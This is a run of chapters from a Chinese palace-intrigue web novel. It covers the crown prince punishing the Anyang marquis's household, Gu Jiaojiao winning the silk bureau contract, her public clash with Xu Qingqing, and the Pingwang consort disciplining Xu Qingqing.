喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十七章 日后要小心一些 安阳候府。 已是深府,可这候府却灯火通明。 年岁已大的孙老夫人带着众人站在院子里,她那两个不争气的儿媳躲在她身后,就连一向很少来前院的徐青青都站在人群之中。 孙协兆匆忙赶回来的时候,候府的院子便是这般景象,而最吸引人注意的便是院子中间摆放着的七具尸体。 有小贩,有说书先生,有乞丐,还有孙协兆的贴身侍从。 “协兆啊,你总算回来了,这,这是怎么回事啊?” 孙老夫人在下人的搀扶下走下台阶,却也绕着那些尸体。 空气里满是血腥气,孙协兆脸色发白。 他一直都知道沈云祉是个狠辣之人,如今真的降临在自己头上,他怎会不怕? “夫君,来人说,这些人需要我们处置?这是为何?这许多人里我们并不相识啊。” 徐青青也走过来,看着孙协兆的脸色便知发生了要事,只最不知与这些死人有何干系。 孙协兆缓缓转过头,目光触及到那些血迹斑斑的尸体时,他瞳孔都在不断收缩。 “拖出去埋了。” 他低声开口,声音沙哑,似是从喉咙里挤出来一样,而他这模糊的几个字,连身边的人都没有听清。 “协兆,到底出了何事?可是得罪了什么人?这尸体送入候府可不是什么好兆头啊,那送尸体的人还说,日后要小心一些,小心什么?” 孙老夫人活了大半辈子了,论见识也算是有的,可眼前这景象,让她很难接受。 她的话音落下后,其他人也附和着开口。 “如此这般杀人,还送到我家门上,只怕是候府的日子不长了。” “我们候府原是有天家庇佑的,可是近几年却不是了。” “是啊,自与顾皎皎和离后,又娶了这位郡主,事事不断,以前只是银钱上短缺,如今连命都要搭上。” …… 众人小声的说着,每一个人都紧张,害怕。 若是从前,只听着这些孙协兆便已然发火了,可现在他却顾不得这么多,只是抬起头大喊着。 “拖出去埋了,都给我拖出去埋了。” 说完,他不顾众人异样的目光,直接跑向自己的院子。 他似疯了一般的失态,也是众未有过的情景,他甚至没有看那些尸体一眼。 众人面面相觑,最后将目光落到了徐青青的身上。 徐青青面露尴尬之色,抬手抚了抚额间的黑发。 “不必看我,我可是郡主,这等脏事我可处理不了。” “郡主?你还敢说你是郡主,这尸体都送上门了,你这个郡主有什么用?自从娶了你,我们候府就没有一日安生过。” 孙老夫人咬着牙,将怒火发到了徐青青的身上。 徐青青目光微微躲闪,她自己何尝不知,她这个郡主身份也只是说说而已。 “老夫人说话可要三思,你们孙家只是候府,就算我身份再不正也是平王的女儿,还轮不到了你们说三道四。” 徐青青最厉害的地方就是,无论何时何地,她都可以保持高傲的态度,平王女儿这个掩护,最好不过。 “再说了,今日之事与我何干?母亲掌管家事,自是该母亲料理的。” 说完,徐青青便高昂着头,带着自己的侍女离开。 孙老夫人气的不轻,指着徐青青的背影半天都没有说出一个字。 章氏与刘氏上前劝说,也被孙老夫人骂了一通。 府内放着七具尸体总是不吉利的,若是天一亮此消息传出去,还不定发生什么事呢,思虑再三,孙老夫人也只能下令,让府中的家丁连夜将这些尸体送入城外掩埋。 孙老夫人还是想知道到底发生了什么事,便去寻孙协兆,可是她这个宝贝儿子将自己关在书房里,谁也不见。 不只是孙老夫人,就连徐青青也几次去过,却都没能见到人。 大家想着,孙协兆是遇到了难事,需要时间冷静,过了今夜便好了,便也没有再打扰他。 可是,谁也没想到,第二日清晨,孙协兆就捧着一本书立于候府门外。 就算是清晨,时间还早,可这街道之上也有不少来来往往的人,偶尔驻足,各个满脸疑惑。 他们自然是看不明白,一个常常候府的公子,竟然立即府前大声诵读道德经,别说这种高门大户,就是平头百姓家里也不少见啊。 孙协兆自然能注意到那些异样的目光,但他不敢停下,昨夜那些尸体不停的在他的脑海中盘旋,到现在为止还是让他全身冒着冷汗。 徐青青醒来的时候,才知孙协兆已经在外面站了近一个时辰。 “这是为何?公子未说是为了什么?” 徐青青转头看着身后的青儿,一脸疑惑。 昨夜,孙协兆出门应酬,回来时就发生了那样的事,今日又突然这般举动,足以引起徐青青的重视了。 “没说,不只没说原因,公子自昨晚回来,就没有跟任何人说一句话。” 青儿一边帮徐青青梳着头发,一边认真的回答着。 徐青青轻叹了口气。 “你派人出府,去那家铺子里带些早饭回来,这候府里的东西实在难以下咽,记得给公子带一份。” 她说的了随意,明显不是第一次这样办了。 青儿应下。 “正好,你陪我去看看公子。” 这个时候她再不出面,怕是说不过去了。 徐青青走到府门处,远远就能听到孙协兆大声诵读的声音,是道德经,一个男子如此当众诵读道德经,定是会让人当成笑话的。 “夫君,为何这般?如果遇到难事,你可跟我说。” 徐青青立即上前,轻拉住孙协兆的衣袖,眼中带着一丝担忧。 孙协兆也在此时恰好念完最后一个字,将书轻轻合上,眼底的恐惧未散,但看向徐青青的目光里却透着一丝无奈。 “是太子的意思。” 他说的简单,可哪怕只是这几个字,也足以让徐青青瞪大眼睛。 “他虽是太子,可我们也是候府,他为何如此霸道?” 徐青青一副气不过的模样,但话还未说完,就被孙协兆瞪了一眼。 “住口。” 孙协兆从未如此凶她,倒是让她一愣。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十八章 心愿得偿 孙协兆到底是怕了。 徐青青泪眼汪汪的站在他面前,委屈之情溢于言表,而正在此时,府里的小厮从外面不远处跑过来。 这个小厮是去给徐青青买早饭的,怀里抱着一堆东西,跑的气喘吁吁。 “不过就是让你买个东西,你慌什么?” 孙协兆的脸上袭上一抹怒气,随手将那本道德经递到了徐青青的手上。 “回公子,属下去买东西时,听到大街上的人议论,说是丝织局的人去了霓裳阁。” “什么?” 徐青青惊呼出声,眼睛瞪的老大。 “丝织局的选拔不是已经结束了吗?为什么要去霓赏阁?” 她满眼都是震惊,也透着不甘心。 那小厮摇了摇头。 “只是听说之前的选拨不作数了。” 孙协兆在一旁没有说话,他深知这是沈云祉的手笔,所谓的那些他被罚的理由,恐怕都只是借口,目的就是为了帮助顾皎皎。 徐青青不停的向那小厮询问着,孙协兆却转身回了府里。 这一早上,他已经很丢人了,实在不想再站在这里被当耍猴一样看着。 徐青青转头时,发现孙协兆已经不见了,立即回府里去寻找。 与此同时。 顾皎皎站在霓赏阁的门口,目送着丝织局的几位内官离开,她脸上的笑意根本掩饰不住。 “姑娘心愿得偿,着实是大喜事。” 莺儿站在一旁,霓赏阁的伙计们也都欢喜的不得了。 “本以为我们今年落选,要再等一年,不成想峰回路转,只怕是上天都心疼我们和姑娘呢。” “你没听那些内官说吗?是太子殿下的功劳。” “也不算谁的功劳吧,我们霓赏阁的东西自然是万里挑一的,若不是他们宫里行事不公,却也不用劳烦谁。” …… 伙计们小声的讨论着,也依旧难掩喜悦之色。 顾皎皎望着远方,那几位内官的马车早就不见了,但她还是望着长长的街道,久久未能回神。 她终究还是低估了沈云祉的本事。 他只出宫半日,却完成了很多事,而她费尽口舌和心力想要争取的事,也不过就是他一句话。 太子使然,终有一日他也会成为君主,只是不知那时,会不会还会像现在这般为了一件小事出手相帮。 丝织局突然改变了供货商,也让其他人议论纷纷,毕竟像这样的事,之前从未发生过,但如今已经是最后的结果。 无论如何,顾皎皎都是高兴的,她下令关门一日,让所有人都会第一楼,让大家好好放松一下。 众人有些犹豫,毕竟拿下了供货权,也就意味着成为皇商,他们比顾皎皎还要紧张,想着应该抓紧时间准备一下。 “所有人必须得去,吃过饭后,大家想休息便休息,想游玩一番便游玩,你们要知道,只有吃好喝好玩好,才能更好的做接下来的事。” 顾皎皎站在众人面前,笑意盈盈,那张好看的脸上满是真诚与感激。 大家不再说什么,简单的收拾了一下后,便前往了第一楼。 皇宫。 沈云祉以最快的速度办完自己的事,便立即回宫,皇上昏迷,他若是久不在宫会惹出闲话。 “太子殿下,事都已办好,安阳候府的人昨夜便将那些人埋了。” 双瑞汇报着。 沈云祉在案几前缓缓的睁开眼,眼角处还残留着疲惫。 “那便好。” “只是殿下,我们为何将死囚调出来,除了孙协兆那个小厮,其他人都被死囚替换了,要属下说,他们搬弄是非,散布谣言,就是应该处死的。” 双瑞还是很不服气。 那些什么乞丐,说书先生等等,他们都已抓到,有的赏了板子,有的关进牢里,都只是教训一下,实在太轻了。 他们敢散布有关太子的谣言,就算是杀了,也是律法。 “小惩大戒阤就是了,都是为了生活,倒也不必赶尽杀绝。” 沈云祉揉了揉眉心,抬眼看了看外面,阳光正值好时,已经快临近午时了。 “对了,殿下,王爷与首辅大人在凝景堂下棋,说是殿下若是有空,过去跟他们一同用膳。” 又是首辅大人。 近来首辅大人进宫的次数越来越频繁,大多是与云南王在一起,但朝堂之上的事,也会在闲聊间透露给云南王与沈云祉。 沈云祉暗暗的沉下一口气。 如今他还未正式接手政事,只这些人情往来上,便已然让他分身乏术了。 “去吧。” 他虽疲惫,却还是站起身,走了两步,又低头看向自己的衣衫。 他没有说话,但抬起头看了双瑞一眼。 双瑞嘿嘿一笑。 “殿下的衣衫确实皱了,昨日夜里回宫便没有换,若是这样去见首辅大人,怕是不妥,依属下之见,应该换一套。” 双瑞说的那叫一个郑重。 沈云祉挑了挑眉毛,缓声开口。 “所以呢?双瑞公子,是需要本殿下自己去取衣衫吗?” 双瑞眨巴着大眼睛,圆圆的脸上袭上一抹懵懂,随后立即反应过来。 “是,是,属下这就去拿。” 在沈云祉的杯子扔过来之前,双瑞跑出了门外,却也不忘嘀咕两声。 “都说了侍女心细,可殿下就是不允许侍女进内侍候,我一个粗人,怎么可能事事周全,我真是……” “双瑞!” “是,殿下,马上就来。” 双瑞在宫中跑了起来。 凝景堂内。 云南王与首辅大人相谈甚欢,看着沈云祉走进来,二人也并未有起身的意思。 “首辅大人安好。” 按照规矩,太子乃是储君,一人之下万人之上,是需要首辅向他行礼的,只是在皇宫之中,首辅自有他的骄傲,初立的太子先问声安,也不算吃亏。 “太子殿下一直亲力亲为的照顾陛下,其心可佳,但也要注意自己的身体。” 首辅开口,语气威严,声音里却透着一丝关心。 “首辅大人说的是,只是昨夜睡的晚些,倒不是什么辛劳之故。” “听闻,昨日太子殿下出宫了?” 首辅大人微低着头,轻轻吹着手中的茶,热气向上飘着,使这位老臣眼中的光芒都变得晦暗不明。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十九章 以和为贵 沈云祉出宫自不是什么隐秘之事,只是首辅大人如此快便知道,可见这宫里也遍布他的耳目。 “是,我的一些私产出了些问题,趁着皇上这边无事,便去处理一下。” 沈云祉坐了下来,答的随意。 “你曾是小云南王,有些私产也是常事,只是如今身份尊贵,便安排可靠的人打理就是,免得让人抓住把柄,反倒有嘴说不清。” 首辅大人说的也是实情。 沈云祉如今身份不同,朝内朝外不知有多少双眼睛盯着他,自是当小心一些。 “多谢大人教诲。” “你年轻,事有想的不周全的时候,也无妨,我会替你盯着,对了,听闻你与平王不和?” 听闻? 沈云祉与平王斗得如火如荼,莫说是朝中大臣,就连百姓都知晓,还用听闻? 只不过,之前鹿死谁手并不确定,首辅大人自不会蹚他们这趟浑水。 “大人说的是,是有些过节。” 沈云祉抬起眼帘,说的轻松,却也迎着首辅威严的目光。 “平王虽不堪重用,但到底是皇室,他背后有宗室,也有门下,不可小视。” 首辅说话,必有其他深义。 “那依照大人的意思呢?” “以和为贵,太子初立人心不齐,平王虽不得民心,却也可以平息一部分怨言,对于殿下以后的路会是好事。” 首辅是两朝元老,最会的便是权衡利弊,看透时事,他说的也是事实,求和最不费心力的办法。 可是,沈云祉不肯。 “首辅大人金玉良言,我自知是为了我好,只是事分对错,底线,平王欲要我及家人性命,即使是为了稳住朝政,我也不愿妥协。” 沈云祉目光坚定,薄唇处依旧挂着淡淡的笑意,只是这笑里不含什么感情。 首辅大人眉头微皱,轻叹了一口气。 “这只是权宜之计……” “大人好意,我自是知晓,我再考量便是,时辰不早了,该用膳了。” 沈云祉算是委婉的拒绝了。 首辅是何等聪明,自然也是明白了他的意思,对于此事未再提起。 说起来,平王这段时日倒是安分了不少,确切的说,是被动的安分了不少。 他几次对沈云祉使绊子,都被沈云祉轻松化解,再加上沈云祉杀鸡儆猴,那些大臣也好,商户也罢,便少与平王来往了。 平王心中有气,一时又无可奈何,便在府中借酒消愁。 平王妃几次劝说无果,今日午时便又来到平王的寝室。 平王昨夜醉酒,整个屋子里都弥漫着刺鼻的酒气,平王妃一踏进门,便忍不住抬手捂了捂鼻子。 “冬儿,带人将这屋子收拾一下。” 平王妃站在门口下令。 冬儿却是愣了一下,随后便小声的提醒道。 “王妃,王爷还在里面睡着,王爷近来心情不好,若是被吵到,怕是会迁怒于王妃。” “若是平日可能会,但今日不会,你且去吧。” 平王妃无不肯定的说道,抬脚向内室走去。 此时的平王正在床榻之上睡着,桌上地上皆是空了的酒瓶。 平王妃见他睡得沉,便也没有叫醒他,而是亲自将那些酒瓶收起,一个酒瓶不慎从桌上滚落至地上,发出不大不小的声响,却足以将平王惊醒。 “谁让你们进来的?滚出去。” 平王猛然坐起身,甚至没有看清来人,便开始破口大骂。 “这王府是越来越没有规矩了,怎么?连你们也不将本王放在眼里了,是吗?” 平王妃听着他的骂声并没有觉得意外,而是缓步走到床榻边,将那帷帐掀起。 “王爷醒了?” 她明知故问,声音平缓。 平王没想到是平王妃,心绪缓和了一些,但脸上依旧是不悦。 “王妃怎么过来了?” 他这明显是质问,是不希望她来,打扰他的好梦。 “妾身知道王爷近来心绪难宁,若不是有要事,自也不敢来打扰王爷。” 王妃说话时,外面的下人已经开始收拾了,虽然那些人很是小心,也还是会发出一些声响。 平王妃看了一眼外面,才又靠**王。 “王爷这屋子里气味难闻,此时阳光正好,妾身陪王爷出去走走,也醒醒酒。” 她眼中的有意味深长的光芒,平王可以轻易明白她的意思。 平王头痛的厉害,却还是跟着平王妃向园子里走去。 平王的待遇真的不错,他的平王府占地很大,周围原有一些民宅,还是皇上登基后出了高价将那些宅子买下来,只为给平王扩府所用。 府里的景致更是没得说,只园子便有多处,春来赏花,冬来赏雪,各有各的好去处。 “王爷可知,昨日太子殿下出宫了?” 平王妃与平王并肩而行,漫步在园子里,侍候他们的下人都离的很远。 平王现在听不得沈云祉的事,抬手揉着眉心,只觉得更痛了 “他现在是太子,进宫出宫的,那不是轻而易举的事吗?” 平王的语气里都显得有些不耐烦。 “太子出宫,只在宫外待了半日,但是却做了不少事,将丝织局的供货权给了那个叫顾皎皎的女子,还有一事,是关于王爷的那位好女婿。” 平王突然停下脚步,侧身看着王妃,眸子里的不悦更为明显。 “他们又惹祸了?” 平王似是猜到了一些。 平王妃便将丝织局选拔之事说给了平王听,包括徐青青与孙协兆当众亮着身份,对顾皎皎辱骂,甚至以平王的名号威胁丝织局的内官。 “这些便也罢了,谁知在选拔快要结束时,徐青青竟当众欲贿赂内官,好大的威风。” 平王妃说这些的时候,语气里都带上一丝愤怒。 这个徐青青自回到京城,从未给王府带来一丝好处,但是这祸事却是一件接着一件。 平王已经气的浑身发抖。 “此事惊动了沈云祉?” “说来也是巧,丝织局选择供货商之日,正是太子出宫之时,此事便被太子知道了,还以此为由杀了数人,并命孙协兆每日在府门前读道德经。” 平王妃此话一出,平王便知事态的严重性。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十章 未做他想 “沈云祉这是冲着我来的啊,还有,我不是派去给那两个孽障送信了吗?他们怎还敢如此?” 平王咬牙切齿。 沈云祉在朝堂上断他后路,就连京城之中的活动也被人监视。 自然了,这最不省心的,还是徐青青与孙协兆。 “那孙家在京城里,无耻已然是出了名的,至于徐青青……想来王爷也是了解一二的。” 平王妃虽未直言,但鄙夷之意尽显。 说起来,徐青青的出身并不算光彩,生活之地更是鱼龙混杂,又是被那样的母亲教导长大,骨子里带着的东西,是不易改变的。 这样的人一朝得势,便会不管不顾,甚至不惜搭上自己身边的人。 “到底是本王高估她了。” 平王双手背在身后,拳头都握在一起,当众给内官送钱,还用平王身份向人施压,只这些,便可落下话柄,还好死不死的被沈云祉知道了。 平王妃没有说话,只是微低着头,似是在等待着平王的处置。 “不如王妃辛苦走一趟?” 良久,平王才试探着开口。 他虽是王爷,可是平王妃的母族也一直在协助于他,关于徐青青之事,平王妃一开始就是不同意的,平王一意孤行,才酿出今日祸端。 “妾身自然听命,只是这一次若是不做出一些惩罚,怕她也是不会记住。” 平王妃面露难色。 “王妃尽管施罚,你为嫡母,就算是打死她,也是对她的教育。” 平王放话,眼中透着冷意。 他要认女儿,前提是可以让他蒸蒸日上,可如今这场面,终是让他进退两难。 “那太子殿下那里呢?” 平王妃抬起眼帘,还是有些担忧。 平王摆了摆手,继续缓步上前。 “无妨,他既是没有通过我便对孙协兆做出了处罚,想必事情也就到此为止了,若是一边罚我的人,一边再找本王麻烦,不是他的风格。” 他现在担心的是平安镇。 自那次沈云祉提过后便再未提起这个镇子,如今他已然是太子,若是要查简直是轻而易举。 自然,平王并未将自己的担忧说给他的王妃听。 “如此妾身便安心了。” 平王妃扶了扶胸口,松了一口气。 平王转头看着她,伸手将她的手握在掌中。 “为夫这些时日糊涂,让王妃担心了,也正是因为有王妃,本王才敢如此放肆。” “王爷言重了,妾身所做都是为妻者的本分,若不是王爷体谅宽厚,妾身也不能有现在这般好日子。” 即使是夫妻,他们之间的对话,也会显示出尊卑。 平王很是满意,拉着平王妃一起去用膳。 第一楼。 顾皎皎得到了丝织局的供货局,自是高兴不已,不仅设宴邀请了霓裳阁的众人,就连来用餐之人也一起请了。 众人欢呼,称赞,恭贺,使这第一楼热闹非凡。 顾皎皎招呼了一阵后,才抽空去阁楼上休息一下。 “姑娘,喝口茶。” 莺儿也很是高兴,只是看着顾皎皎时,欲言又止。 “有什么话就说。” 顾皎皎浅尝着茶,晶莹的目光投向莺儿。 这丫头跟了她许久,自然是可一眼看穿她的心思的。 “姑娘,恕奴婢多嘴,太子殿下终究是要继承皇位的。” 此话一出,使顾皎皎口中的茶水一下喷了出来,而后瞪着莺儿。 “所以呢?” “所以,姑娘若是动心了,还是要收一收。” 莺儿微低着头,声音越来越小。 顾皎皎握着杯子的手微微收紧,又不自然的扯了扯嘴角。 “你别乱说。” “奴婢自小跟着姑娘,猜不透姑娘的聪明才智,但可以看透姑娘的心事。” 她停顿了一下,离顾皎皎近了几步,才又小声的开口。 “姑娘曾经行事,一向是事不关己,可后来姑娘屡次冒险帮助太子殿下,叛乱之事上,姑娘更是插了一脚,说起来,我们这种商户,是会掉脑袋的。” 这些,莺儿早就看出来了,但她并未提过,但这次丝织局的事,让她看到了顾皎皎从心底里的感动与喜悦,她就不得不说了。 “丝织局之事,太子殿下确实是帮了我们,可是你与他的身份差距太大了。” 这是第一次,莺儿直接了当的跟顾皎皎说到有关男子的问题。 “我知道,我这身份是配不上他的。” 顾皎皎低垂下眼眸,眼底闪过一抹落寞。 “不,姑娘是天下最好的姑娘,若不是眼盲心瞎之人自会发现姑娘的好,可那人偏偏是未来的君王,三宫六院,姑娘怕是……” 别说是妃子,怕是最末等的答应也够不上,而且,莺儿知道,顾皎皎要的向来是愿得一人心,白首不相离,可是那人却是最无法一心的人。 莺儿的这些话,倒是让顾皎皎清醒了几分,她抬起头,微微扬起嘴角,伸手轻捏了下莺儿的脸庞。 “你是真心为我好的,我知道,不过你放心,我未做他想,心中有数。” 她很是认真,晶莹的眸子里有异样的光芒。 莺儿笑了笑,眼中却满是心疼,她知道,她家姑娘本应是得到天下最好的。 正在此时,房门被敲响。 “姑娘,楼下有位孙夫人,吵着闹着要见您。” 门外的小厮急切喊道。 顾皎皎的眸子紧了紧,唇角扯出一抹笑意。 该来的终归还是会来的。 顾皎皎下楼时,看到徐青青带着两个侍女就站在一楼的地中央,刚刚她大抵也是吵闹了一番,所以周围人都对她投去异样的目光。 “孙三夫人今日这般有雅兴,倒是难得。” 顾皎皎站到徐青青面前,笑意盈盈,给人一种从容淡然的感觉。 而她这个样子,是徐青青最为讨厌的,在她的世界里,顾皎皎就应该紧张,害怕,甚至是后悔。 “顾皎皎,没想到你这么不要脸,为了一个供货权,你尽用些下三滥的招数,好手段。” 徐青青咬着牙,眼中释放着恨意,与她平日里娇柔的模样大相径庭。 好在顾皎皎早就习惯了她这般变脸,不然是会被吓到的。 “孙三夫人当日也说过,胜负成败各凭本事,你这得不到就来骂人,是平王府的规矩,还是安阳候府的规矩?” 顾皎皎并未相让。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十一章 手下留情 第一楼里时常发生这种热闹,周围的人必然是竖着耳朵听。 徐青青并不是很在意那所谓的皇商,得不到,她也不觉得有什么,可若是顾皎皎得到了,那于她而言便是天大的事。 徐青青脸上的怒气突然散去,眉眼间闪过一抹狡黠。 “顾姑娘说的是,各凭本事,你这般为了生意可出卖自己的本事,是我学不来的,无论是平王府,还是安阳候府都教不出这样的规矩。” 她停顿了一下,而后又提高了音量。 “顾姑娘离开安阳候府后,表面上是自力更生,实则是有了依靠,太子殿下可是为姑娘解决了不少麻烦,难不成你要告诉我,太子殿下只是心善?” 提到沈云祉,顾皎皎立即变了脸色。 “徐青青,你说话最好注意点,管不好你的嘴,我给你撕了。” “急什么?我徐青青说的是事实,有什么可怕的?就如丝织局选拔,明明是定其他商铺,可一夜的功夫,这好事就落在你头上了,而且那夜太子殿下正好出宫。” 徐青青挪动着小碎步,围着顾皎皎绕了一圈,打量的目光里满是鄙夷。 周围的目光也开始变得奇怪起来,甚至开始有人仔细端详起顾皎皎的脸与身材。 “当日若不是你以平王之女要挟,也不会出现后面的事,你虽是平王之女,可却如孙家人一般可耻。” 顾皎皎并不在意那些诬陷,可是涉及到了沈云祉,她会不自觉的紧张一些。 只是,此时顾皎皎的这些话,对徐青青毫无杀伤力。 在一旁看不过去的莺儿终是站了出来。 “孙三夫人有时间在这里胡言乱语,不如回府看着孙公子,贵府公子今日的道德经读过了吗?那些人,埋了吗?” 莺儿出言极快,令徐青青半晌才反应过来。 “好啊,顾皎皎,原来协兆被罚也是因为你,你这个贱人,我早就知道你不是什么好货色。” 徐青青被激怒,但立马又想到了什么,甚至不给顾皎皎主仆二人说话的机会。 “大家听听,这个贱人就是如此勾引太子殿下,才拿到了丝织局的供货权,又害得我家夫君被惩罚,她一个商户之女,凭什么?凭的还不是她的脸和她的身体。” 大庭广众之下,徐青青口无遮拦,说的露骨,更让顾皎皎难堪,可她仍嫌不足。 “我安阳候府被连累,而那一夜,想必顾姑娘正了太子殿下的床榻之上婉转承恩吧,你……” 啪! 一记耳光响彻整个第一楼,甚至连周围的窃窃私语声都瞬间消失。 顾皎皎上前一步,轻甩了甩发红的手掌,眸子一片冰冷的向着徐青青。 “我说了,管好你的嘴。” 她的声音好听,也极具穿透力。 徐青青一只手抚着脸,当头缓缓转过来时,她的嘴角渗出了丝丝血迹,口中的血腥味让她感受到了什么是屈辱。 徐青青自是没想到,顾皎皎敢当了众打她,腥红的眼睛,红肿的脸庞,都让她无法控制自己的情绪。 “顾皎皎,你这个贱人……” 说着,徐青青便张牙舞爪的冲了过来,可只走了几步,便被顾皎皎掐住了脖子,使她动弹不得,瞬间瞪大了双眼。 “你才是那个贱人,未婚先怀上子嗣,平王的私生女,你母亲生性淫贱,暗中爬平王的床榻,你依样画葫芦,做着同样的事,你才是贱人。” 顾皎皎虽是商户之女,但自小熟读诗书,懂礼仪,讲廉耻,从未像今日这般在众人面前说如此难听话。 徐青青自是不愿听到这些,可她如今像是一只随时能被人碾死的蚂蚁,动都动不得。 “还有,你要记住一点,你这个孙三夫人是偷来的,你平王之女的身份是见不得光的,四处招摇,小心你这条贱命。” 徐皎皎是气急了,抬眼前,好看的眼睛里满是寒意,她的手甚至都在不自觉的用力。 徐青青的脸色苍白,眼中不自觉的流露出了惊恐,她觉得下一秒自己就会没命。 “顾姑娘,手下留情。” 一女子的声音突然响起,听着平和,和气。 不只顾皎皎,所有人的目光都向门口看去。 平王妃少出府,偶尔出门也只是去她常去的铺子,今日却来到第一楼,显然不是巧合。 顾皎皎手上的力道松了松,却还是用力将徐青青甩了出去。 徐青青撞到了一旁的桌子上,剧烈的咳嗽着,也大口大口的喘着气。 “见过平王妃,王妃安好。” 顾皎皎收起眼底的冷意,被一抹冷淡所取代,恭恭敬敬的向眼前的人行了个礼。 平王妃笑的温婉,目光里也似是流露着善意,像是刚刚什么都没有看到一样。 “上次见顾姑娘还是在宴席之时,再次见面,姑娘看上去更为干练,这生意也是越来越好了。” 她这般客气,倒是让人有些不适应。 顾皎皎微微点头。 “平王妃谬赞了,不过是一些小本生意,养家糊口罢了。” 到现在为止,她都不知道平王妃来此的目的,想着,还是需要一个安静的地方,便又马上接着说道。 “民女不知王妃突然到访,失礼了,楼上有干净雅致的房间,不如请王妃上去喝杯茶?” “不了,我今日来,是来找她的。” 平王妃拒绝了,看向徐青青时,也难掩嫌弃之色。 顾皎皎一时不知该说些什么,平王妃也不矫情,便准备带徐青青离开。 徐青青受了如此大的屈辱,又怎会真的这般离开,她甚至觉得,看在平王的面子上,平王妃也定会帮她。 “顾皎皎,我要杀了你。” 徐青青不顾身边人的搀扶,再一次奔顾皎皎冲了过来,只是这一次,没用顾皎皎出手,徐青青又被人一耳光扇倒在地。 出手的是平王妃身边的侍女冬儿。 “王妃在此,你还敢如此放肆,来人,拖走。” 冬儿直接下令,也立即来人将徐青青拖了出去,而平王妃从始至终都面带微笑,给人一种平和从容的感觉。 “顾姑娘见笑了,告辞。” “民女送送王妃。” 顾皎皎将礼数做足。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十二章 让人厌恶 站在高高的石阶之上,便似是俯视着芸芸众生,哪怕徐青青如今身份不同,便她还是被连拖带拉的推上了马车。 “以前听王爷提起过姑娘,说是在这京城之中,生意往来之上也算是数一数二的,这京城之中美人无数,本王妃想,姑娘的过人之处,并非只是美貌。” 平王妃在台阶之上忽的停下脚步,开口之余,看向顾皎皎的目光都温和了不少。 顾皎皎微低着头,不卑不亢,浅笑嫣然。 “平王妃过誉了,这世道女子本就艰难,民女也只是尽力不让下面的人跟着我饿肚子罢了。” “顾姑娘过谦了,正因为女子艰难,你能出头必然不容小视,平王一生好胜,可可惜唯一一女是个愚蠢的,顾姑娘若是心有芥蒂,日后随意教训就是,只是……” 平王妃没有说下去,只是冲顾皎皎笑了笑,面露为难之色。 顾皎皎是个聪明的,后退两步微低下头。 “王妃何出此言?民女这里是开门做生意的,每日来闹事都多得数不清,事发生了也就过了,若是民女这般心小,日后可还如何招待顾客呢?” 平王妃想与徐青青撇清关系,自是为了平王府,她倒不是向顾皎皎妥协,只是如今沈云祉地位超然,若是有意牵连,平王府难以逃脱。 而顾皎皎的这些话,自是告诉平王妃,徐青青只是闹事的人,于其他任何人都没有关系。 平王妃的眉眼间透出满意之色,她并未说感谢。 “听闻霓裳阁是你的,如今已经是皇商,本王妃想着府里人的衣衫正好要换一批,过几日让我的侍女去你的霓裳阁挑选些料子。” 有来有往,平王妃领了顾皎皎的情,也立即给了她一笔生意。 顾皎皎立即欠身行礼。 “王妃客气了,怎敢劳动王妃身边的人,王妃若是不怕叨扰,民女命人带着上好的料子与样式前往平王府,供王妃挑选。” 她到底还是生意人,能赚钱的时候,她总是双眼放光。 “你有心了,那便三日后。” 留下这句话后,平王妃才由侍女搀扶着走下台阶,随后离开了第一楼。 此时,莺儿才上前一步,小声的开口。 “平王妃倒是一个很和气的人,感觉比平王府的任何一个人都要好。” 莺儿觉得平王妃和善亲切,温婉贤良,丝毫没有王妃的架子。 顾皎皎却摇了摇头。 “她若是和气的人,徐青青怎会到现在都没能入得平王府?她无一子半女,却可稳居平王妃之位,只靠和气可不行。” 她低声说着时,心里也想着,徐青青今日怕是不会好过。 “姑娘是说,平王妃都是装的?” “谈不上,人嘛,都是这样,权衡利弊,选择的路不同罢了,好了,回去吧。” 顾皎皎没有继续说下去,好在今日的事是解决了,她也心安不少。 只是,顾皎皎还是低估了人言可畏四个字。 另一边。 徐青青被拖下车的时候,才发现这里不是平王府,也不是安阳候府,而是她出嫁前所住的那个院子。 自她出嫁,这院子便荒了下来,没有人看管,更无人打扫,但如今他们所在的这间屋子却干净如新,像是刚刚打扫过的。 平王妃端坐在椅子上,喝着茶,整张脸上再无笑意,只有不屑。 徐青青站在地中央,看了看周围,不只有侍女,还有小厮,她便意识到情况不对。 “王妃就算对我不满,也不该如此,我毕竟是父王的女儿,如今又嫁到安阳候府,王妃莫不是想……” 啪! 又一记耳光。 只今日,徐青青就挨了重重的三个耳光,她的两边脸都已经肿的不成样子,而动手的还是那个侍女。 徐青青出于本能的想要骂人,但却又咬着牙忍了下来,只捂着脸愤恨的站在那里。 平王妃将手中茶盏放下,抬起手用手帕轻拭下嘴角,才缓缓开口。 “你无才无德,本不配为平王府的郡主,王爷念你孤苦多年,发了一回善心,可你倒好,不仅不思感恩,却处处为王爷惹祸,今日也是该好好教训你的时候了。” 平王妃说这话的时候,语气平静,神色淡然。 徐青青在微怔之时,身后已经有几名小厮走了上来,他们的手里甚至还拿着一些工具。 那些东西,徐青青都认识,大户人家的惩罚向来就那么几样,却每样都很折磨人。 “你敢!我是郡主,你,你不能……” 徐青青惊恐的开口之时,已经被人按在了地上。 “你打着王爷的旗号在外面行事乖张,不计后果,甚至竟然敢给宫里人贿赂,你是愚蠢,竟然不知你的这一举动,便可让王爷进退两难。” 平王妃说着这些时,徐青青的手被侍女拉起,十个如水葱一般的手指白嫩光滑,却被套上夹棍。 “我不是,王妃,我没有,我当时,当时只是想将父王给我的商铺做大一些,我没有……” 徐青青虽是这样说着,但眼睛却没有离开自己的手指,她被那些人抓的死死的,动弹不得分毫,那些夹棍夹紧,也只在平王妃的一念之间。 平王妃微微昂了昂头,脸上神色未变,将鄙夷的目光投向徐青青。 “前些时日,王爷派人传话,让你和孙协兆离顾皎皎远些,你莫不是忘了?既然太子殿下罚了孙协兆,那你便由本王妃来处置了。” 话音落下,平王妃只是抬了抬眼,徐青青手指上的夹棍便夹紧了。 